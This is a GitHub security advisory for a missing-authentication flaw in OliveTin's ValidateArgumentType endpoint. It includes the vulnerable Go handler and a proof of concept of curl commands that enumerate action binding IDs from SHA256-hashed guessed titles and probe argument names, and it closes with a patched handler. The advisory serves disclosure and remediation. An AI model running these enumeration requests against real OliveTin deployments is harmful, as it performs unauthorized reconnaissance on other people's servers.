Skip to content

OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration

Low severity GitHub Reviewed Published May 21, 2026 in OliveTin/OliveTin • Updated Jun 24, 2026

Package

gomod github.com/OliveTin/OliveTin (Go)

Affected versions

< 0.0.0-20260521230847-a3865704c854

Patched versions

0.0.0-20260521230847-a3865704c854

Description

Summary

The ValidateArgumentType RPC endpoint in service/internal/api/api.go does not perform any authentication or authorization checks. Unlike all other data-returning API endpoints, it does not call auth.UserFromApiCall or checkDashboardAccess. When AuthRequireGuestsToLogin is enabled (the security-conscious configuration), this endpoint remains accessible to unauthenticated users and can be used as an oracle to enumerate valid action binding IDs and their argument configurations.

Details

Root Cause

The ValidateArgumentType handler at service/internal/api/api.go:726 has no authentication check:

func (api *oliveTinAPI) ValidateArgumentType(ctx ctx.Context, req *connect.Request[apiv1.ValidateArgumentTypeRequest]) (*connect.Response[apiv1.ValidateArgumentTypeResponse], error) {
    if api.argumentNotFoundForValidation(req.Msg) {
        return nil, connect.NewError(connect.CodeNotFound, fmt.Errorf("action or argument not found for binding ID %s", req.Msg.BindingId))
    }

    err := api.validateArgumentTypeInternal(req.Msg)
    desc := ""
    if err != nil {
        desc = err.Error()
    }

    return connect.NewResponse(&apiv1.ValidateArgumentTypeResponse{
        Valid:       err == nil,
        Description: desc,
    }), nil
}

Compare this with adjacent endpoints that DO have auth checks:

// WhoAmI - has auth check
func (api *oliveTinAPI) WhoAmI(ctx ctx.Context, req *connect.Request[apiv1.WhoAmIRequest]) ... {
    user := auth.UserFromApiCall(ctx, req, api.cfg)
    if err := api.checkDashboardAccess(user); err != nil {
        return nil, err
    }
    ...
}

// GetDashboard - has auth check
func (api *oliveTinAPI) GetDashboard(ctx ctx.Context, req *connect.Request[apiv1.GetDashboardRequest]) ... {
    user := auth.UserFromApiCall(ctx, req, api.cfg)
    if err := api.checkDashboardAccess(user); err != nil {
        return nil, err
    }
    ...
}

Oracle Behavior

The endpoint provides different responses based on whether the binding and argument exist:

  • Valid binding + valid argument: Returns {valid: true/false, description: "..."} (200 OK)

  • Valid binding + invalid argument: Returns CodeNotFound error

  • Invalid binding: Returns CodeNotFound error

While the error messages for the last two cases are identical, an attacker who knows a valid binding ID (or can guess one from action title SHA256) can enumerate argument names by observing which ones return 200 OK vs CodeNotFound.

Binding ID Predictability

Binding IDs are SHA256 hashes of action titles (see service/internal/executor/executor_actions.go). Since action titles are typically short, human-readable strings (e.g., "Ping", "Restart Service", "Deploy"), an attacker can precompute hashes of likely titles and test them against this endpoint.

Scope

This finding is only meaningful when AuthRequireGuestsToLogin: true is configured. In the default configuration where guests have full dashboard access, the action information is already visible through the dashboard API.
When AuthRequireGuestsToLogin is true, checkDashboardAccess blocks guest access to other endpoints but NOT to ValidateArgumentType.

PoC

Prerequisites

  • OliveTin instance with AuthRequireGuestsToLogin: true configured

Step 1: Verify other endpoints require auth

Confirm that regular endpoints reject unauthenticated requests:

curl -s -X POST http://localhost:1337/api/GetDashboard \
  -H "Content-Type: application/json" \
  -d "{}"
# Returns: CodePermissionDenied - "guests are not allowed to access the dashboard"

Step 2: Enumerate binding IDs via ValidateArgumentType

Test candidate binding IDs (SHA256 of guessed action titles):

# Test if an action titled "Ping" exists
BINDING_ID=$(echo -n "Ping" | sha256sum | cut -d" " -f1)
curl -s -X POST http://localhost:1337/api/ValidateArgumentType \
  -H "Content-Type: application/json" \
  -d "{\"bindingId\":\"$BINDING_ID\",\"argumentName\":\"test\",\"value\":\"x\",\"type\":\"ascii\"}"
# If action exists: returns CodeNotFound (argument "test" not found for this binding)
# If action does not exist: returns CodeNotFound (same message, but confirms the oracle)

Step 3: Enumerate argument names for a known binding

Once a valid binding ID is known, brute-force argument names:

# Test if argument "target" exists for the Ping action
curl -s -X POST http://localhost:1337/api/ValidateArgumentType \
  -H "Content-Type: application/json" \
  -d "{\"bindingId\":\"$BINDING_ID\",\"argumentName\":\"target\",\"value\":\"test\",\"type\":\"ascii\"}"
# If argument exists: returns {valid: true/false} (200 OK) -- CONFIRMED
# If argument does not exist: returns CodeNotFound error

Impact

  1. Information Disclosure: Unauthenticated users can enumerate which actions exist (by testing binding IDs) and which arguments each action accepts (by testing argument names). This reveals the server configuration to unauthorized parties.

  2. Reconnaissance for Further Attacks: The enumerated information (action names, argument names, argument types) provides valuable reconnaissance for more targeted attacks such as the ot_ prefix argument injection (see advisory 001) or social engineering.

  3. Limited Scope: This is only exploitable when AuthRequireGuestsToLogin: true is configured. In the default configuration, guests already have full access to the dashboard which exposes the same information.

Recommended Fix

Add authentication and dashboard access checks to the ValidateArgumentType handler, consistent with all other data-returning endpoints:

func (api *oliveTinAPI) ValidateArgumentType(ctx ctx.Context, req *connect.Request[apiv1.ValidateArgumentTypeRequest]) (*connect.Response[apiv1.ValidateArgumentTypeResponse], error) {
    // Add auth check consistent with other endpoints
    user := auth.UserFromApiCall(ctx, req, api.cfg)
    if err := api.checkDashboardAccess(user); err != nil {
        return nil, err
    }

    if api.argumentNotFoundForValidation(req.Msg) {
        return nil, connect.NewError(connect.CodeNotFound, fmt.Errorf("action or argument not found for binding ID %s", req.Msg.BindingId))
    }

    err := api.validateArgumentTypeInternal(req.Msg)
    desc := ""
    if err != nil {
        desc = err.Error()
    }

    return connect.NewResponse(&apiv1.ValidateArgumentTypeResponse{
        Valid:       err == nil,
        Description: desc,
    }), nil
}

References

@jamesread jamesread published to OliveTin/OliveTin May 21, 2026
Published by the National Vulnerability Database Jun 15, 2026
Published to the GitHub Advisory Database Jun 24, 2026
Reviewed Jun 24, 2026
Last updated Jun 24, 2026

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(25th percentile)

Weaknesses

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

CVE-2026-48709

GHSA ID

GHSA-f637-w7p2-m7fx

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.